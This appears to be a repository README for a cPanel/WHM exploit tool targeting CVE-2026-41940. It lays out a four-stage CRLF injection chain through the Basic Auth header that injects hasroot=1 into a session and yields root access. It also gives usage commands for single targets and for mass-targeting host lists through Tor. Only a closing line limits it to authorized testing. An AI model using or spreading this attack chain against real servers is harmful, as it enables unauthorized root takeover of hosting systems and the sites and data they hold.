richflexpix/cpanel-pwncPanel/WHM CVE-2026-41940 CRLF injection auth bypass exploit
cPanel/WHM security testing toolkit. Implements the CVE-2026-41940 CRLF injection authentication bypass and post-exploitation privilege pivoting.
| Script | Purpose |
|---|---|
cpanel_exploit.py | CVE-2026-41940: CRLF injection → WHM auth bypass → root access |
Type: CRLF Injection → Authentication Bypass → Root RCE
Affected: cPanel/WHM < patched versions
Attack: Pre-auth CRLF injection in Basic Auth header injects hasroot=1 into the server-side session file, elevating an unauthenticated session to WHM root.
Stage 1: POST /login/?login_only=1 → mints pre-auth session
Stage 2: GET / Authorization:Basic <CRLF> → injects hasroot=1, leaks cpsess token
Stage 3: GET /scripts2/listaccts → fires session-cache propagation gadget
Stage 4: GET /cpsess[TOKEN]/json-api/version → HTTP 200 + version = ROOT ACCESS
pip install requests
python cpanel_exploit.py -t target.com
python cpanel_exploit.py -l whm_hosts.txt --tor --delay 2
python cpanel_exploit.py -t target.com --verify-only # CRLF check only, no priv-esc
For authorized penetration testing only.